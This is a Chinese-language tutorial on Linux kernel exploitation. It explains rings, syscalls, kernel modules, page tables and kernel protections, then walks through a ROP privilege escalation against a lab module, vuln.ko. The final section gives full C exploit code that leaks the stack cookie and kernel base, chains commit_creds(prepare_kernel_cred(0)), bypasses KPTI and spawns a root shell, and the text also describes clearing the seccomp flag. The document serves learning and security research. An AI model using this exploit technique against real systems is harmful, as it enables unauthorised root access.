Linux内核安全:漏洞利用与防护技术的博弈
字数 4440 2025-08-20 18:17:07
Linux内核安全:漏洞利用与防护技术的博弈
内核基础
什么是内核?
内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口。
内核常用指令
特权指令
CLI: 清除中断标志,禁止中断STI: 设置中断标志,允许中断HLT: 停止处理器,直到下一个中断发生IN/OUT: 从I/O端口读写数据LGDT/SGDT: 加载/存储全局描述符表(GDT)LIDT/SIDT: 加载/存储中断描述符表(IDT)LTR: 加载任务寄存器MOV CRx: 读取或写入控制寄存器(如CR0、CR3)
系统调用相关指令
SYSCALL/SYSRET: 用于快速调用和返回系统调用(在x86_64架构上)INT 0x80: 通过中断调用系统调用(在x86架构上)
页表管理
MOV CR3: 设置页表基地址寄存器,切换页表INVLPG: 无效化某个虚拟地址的页表缓存
调试指令
INT3: 触发断点中断,通常用于调试RDTSC: 读取时间戳计数器,测量精确的时间
特殊寄存器
- cr3 (Control Register 3): 记录页表信息,用于将进程的虚拟地址转换为物理地址,这个寄存器直接用mov指令就能操作,但是要在内核模式下才能访问
- MSR LSTAR (Model-Specific Register, Long Syscall Target Address Register): 记录了系统调用会跳转到哪里执行,使用
wrmsr和rdmsr指令操作,这两个指令也仅供内核使用
用户模式特权级别
CPU在执行时会记录当前程序的权限级别:
- Ring 3: 用户模式,权限最低,限制较多,无法访问CR3等内核模式寄存器,无法执行HLT指令等
- Ring 0: 内核模式,权限最高,可以执行任何指令和访问所有寄存器
- Ring -1: 管理模式(主要用于虚拟化),可以拦截敏感操作,确保虚拟机中的用户内核无法无限制地访问主机硬件
操作系统模型类型
- 单片内核: 所有操作系统级别任务由一个统一的内核二进制文件处理。驱动程序作为库加载到此二进制文件中。示例: Linux、FreeBSD
- 微内核: 只有一个微小的核心二进制文件,提供进程间通信和与硬件的最小交互。驱动程序作为普通用户空间程序运行,具有稍高的权限。示例: Minux、seL4
- 混合内核: 结合了微内核和单片内核的特点。示例: Windows NT、MacOS
环与环之间切换
在x86_64架构下:
- 内核启动时在Ring 0中,将MSR LSTAR设置为指向系统调用处理程序例程
- 当用户空间(Ring 3)进程想要与内核交互时,可以调用
syscall:- 权限级别切换至Ring 0
- 控制流跳转到MSR LSTAR的值
- 返回地址保存到rcx
- 内核返回用户空间时,通过
sysret指令完成:- 权限级别切换到Ring 3
- 控制流跳转到rcx
内核与用户空间的关系
- 用户空间进程的虚拟内存位于低地址
- 内核拥有自己的虚拟内存空间,位于高地址,只有在Ring 0才能访问
攻击方式
内核漏洞来源
- 来自网络: 远程触发漏洞,如死亡数据包
- 来自用户空间: 系统调用和ioctl处理程序中的漏洞
- 来自设备: 从连接的设备(如USB硬件)触发的漏洞
常见的内核漏洞利用手段
- 提升权限、安装rootkit
- 获得更多访问权限,攻击系统其他部分,如受信任的执行环境
内核调试环境搭建
虚拟机环境设置
推荐使用pwnkernel项目快速搭建调试环境:
- 解压后进入文件夹
- 执行
build.sh脚本自动安装调试内核所需的程序和编译内核 - 运行
launch.sh脚本启动qemu,进入虚拟linux系统环境
调试内核与syscall
- 启动qemu时开启了gdb远程调试(默认端口1234)与关闭了地址随机化
- 内核文件是
./linux-5.4/vmlinux - 可以通过gdb远程连接进行调试
内核模块
内核模块基础
- 内核模块是linux生态系统的重要组成部分,主要用于实现设备驱动程序
- 概念上类似于用户空间的库,内核将内核模块加载到自身以提供各种功能
- 这些模块是一个ELF文件,扩展名为
.ko - 模块中的代码会以内核相同的权限运行
内核模块交互
与内核模块交互的最常见方法是通过文件:
/dev: 包含设备文件,是系统中的硬件设备和虚拟设备的接口/proc: 伪文件系统,提供接口来访问内核和进程信息/sys: sysfs文件系统的挂载点,提供统一接口来查看和配置内核对象
交互接口函数:
- 从内核空间调用:
static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset) static ssize_t device_write(struct file *filp, const char *buf, size_t len, loff_t *off) - 从用户空间调用:
fd = open('/dev/1', 0); read(fd, buffer, 128);
高级接口ioctl:
- 内核空间调用:
static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param) - 用户空间调用:
int fd=open("/dev/1", 0); ioctl(fd, COMMAND_CODE, &custom_data_structure);
编译模块
- 在
src/mymodule.c中编写内核模块 - 用
src/Makefile添加一个条目 - 执行
make即可 - 执行
build.sh自动编译 - 执行
launch启动环境
导入内核模块
- 使用
init_module函数完成系统调用加载 - 也可以用
insmod命令载入insmod baimao_module.ko
删除内核模块
- 使用系统调用
delete_module删除加载的模块 - 也可以用
rmmod命令删除rmmod baimao_module
内核漏洞
内核内存损坏
每个内核模块都有两个非常重要的函数:
copy_to_user: 将数据从内核空间复制到用户空间copy_from_user: 将数据从用户空间复制到内核空间
内核内存损坏可能导致以下后果:
- 系统崩溃
- 系统变砖
- 权限提升
- 干扰其他进程
权限提升原理
内核通过task_struct记录进程信息,其中最重要的是进程凭据(cred),cred结构体中包含进程的euid(有效用户ID)。如果将euid改为0,当前进程就是root权限。
提权方法:
commit_creds(prepare_kernel_cred(0));
prepare_kernel_cred(0): 创建一个具有root访问权限和完全权限的cred结构commit_creds(): 应用这些凭据
实例演示
- 编写内核模块在
/proc下创建设备文件 - 注册操作函数,在
ioctl中检查特定参数后执行提权代码 - 用户空间程序通过
open和ioctl触发提权
Seccomp逃逸
Seccomp实现原理
cred结构体是task_struct的成员task_struct中的thread_info结构体包含flags变量flags的第8位是TIF_SECCOMP标志位,启用seccomp
如何关闭Seccomp
通过修改task_struct->thread_info.flags,清除TIF_SECCOMP位:
current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
实例演示
- 内核模块提供关闭seccomp的功能
- 用户空间程序启用seccomp防护
- 通过特定
ioctl调用关闭seccomp
内存管理
进程内存
每个Linux进程的虚拟内存空间包含:
- 二进制文件
- 库文件
- 堆
- 栈
- 专门映射的内存
- 辅助区域
- 内核代码(位于高地址部分)
虚拟内存和物理内存
- 虚拟内存: 每个进程都有自己独立的虚拟地址空间
- 物理内存: 是计算机实际的内存硬件,所有进程的虚拟内存都会映射到物理内存
页表
页表是内存管理单元(MMU)使用的核心数据结构,用于将虚拟地址映射到物理地址。现代计算机系统通常使用多级页表:
- PML4(Page Map Level 4): 最高级别的页表
- PDP(Page Directory Pointer): 指向页目录的指针
- PD(Page Directory): 页目录,包含指向页表的指针
- PT(Page Table): 页表,包含指向物理页的指针
- 页内偏移: 物理页内的具体偏移
进程隔离
- 每个进程都有一个独立的页表
- CR3寄存器保存当前使用的PML4表的物理地址
- 操作系统在切换进程时通过修改CR3寄存器的值来切换页表
- CR3寄存器只能在ring0级别访问
虚拟机的内存管理
虚拟机通过扩展页表(EPT)实现二级地址转换:
- 虚拟地址到客体物理地址: 虚拟机内部的页表转换
- 客体物理地址到实际物理地址: 扩展页表转换
内存管理单元(MMU)
- 负责管理虚拟内存地址到物理内存地址的转换
- 使用转换旁路缓冲区(TLB)缓存最近使用的地址映射
- 检查每次内存访问的权限
内核保护机制
- 栈金丝雀(Stack canaries): 在栈上放置特殊值,检测栈溢出攻击
- kASLR (Kernel Address Space Layout Randomization): 启动时随机化内核的基址
- 不可执行堆/栈区域: 禁止执行堆和栈上的代码
- FGKASLR: 函数级别的地址空间布局随机化
- SMEP (Supervisor Mode Execution Prevention): 防止内核执行用户态内存中的代码
- SMAP (Supervisor Mode Access Prevention): 防止内核模式访问用户空间内存
- KPTI (Kernel Page-Table Isolation): 将内核和用户态的页表分离
内核ROP攻击提权实战
环境准备
- 提取内核文件:
./extract-image.sh bzImage > vmlinux - 安装必要软件:
apt-get install bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86
逆向内核模块
分析vuln.ko内核模块,重点关注:
init_func和exit_func: 模块入口和出口sopen: 打开设备时的操作sread: 读取时的操作(可能导致内存泄漏)swrite: 写入时的操作(可能导致栈溢出)sioctl: 特殊操作(可能修改全局变量)
漏洞利用步骤
- 通过
sread泄露内核地址和cookie值 - 计算内核基地址
- 通过
sioctl修改MaxBuffer全局变量 - 构造ROP链调用
commit_creds(prepare_kernel_cred(0)) - 绕过KPTI防护使用
swapgs_restore_regs_and_return_to_usermode返回用户空间 - 获取root shell
最终payload示例
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void get_shell(void){
puts("[*] Returned to userland");
if(getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void main() {
save_state();
int fd = open("/proc/pwn_device", O_RDWR);
unsigned long leakbuf[0x100];
read(fd, leakbuf, 0x100);
unsigned long kernel_base = leakbuf[18] - 0x23e347;
unsigned long kernel_cookie = leakbuf[14];
unsigned long prepare_kernel_cred = kernel_base + 0x881c0;
unsigned long commit_creds = kernel_base + 0x87e80;
unsigned long user_rip = (unsigned long)get_shell;
unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22;
unsigned long pop_rdi = kernel_base + 0x1518;
unsigned long pop_rdx = kernel_base + 0x34b72;
unsigned long iretq = kernel_base + 0x23cc2;
unsigned long swapgs_ret = kernel_base + 0xc00eaa;
unsigned long cmp_rdx_ret = kernel_base + 0xa30061;
unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504;
printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
printf("[*] kernel leak: 0x%lx\n", leakbuf[18]);
printf("[*] kernel base address: 0x%lx\n", kernel_base);
printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
printf("[*] commit_creds: 0x%lx\n", commit_creds);
ioctl(fd, 0x20, 0x1337);
int offset = 16;
unsigned long payload[50];
payload[offset++] = kernel_cookie;
payload[offset++] = 0x0;
payload[offset++] = pop_rdi;
payload[offset++] = 0x0;
payload[offset++] = prepare_kernel_cred;
payload[offset++] = pop_rdx;
payload[offset++] = 0x8;
payload[offset++] = cmp_rdx_ret;
payload[offset++] = mov_rdi_rax_ret;
payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(fd, payload, sizeof(payload));
}
总结
Linux内核安全是一个持续的博弈过程,随着新的防护机制出现,攻击者也会发展出新的绕过技术。理解内核工作原理、内存管理和各种防护机制是进行安全研究和漏洞利用的基础。通过实际的内核模块开发和漏洞利用实践,可以深入掌握这些概念和技术。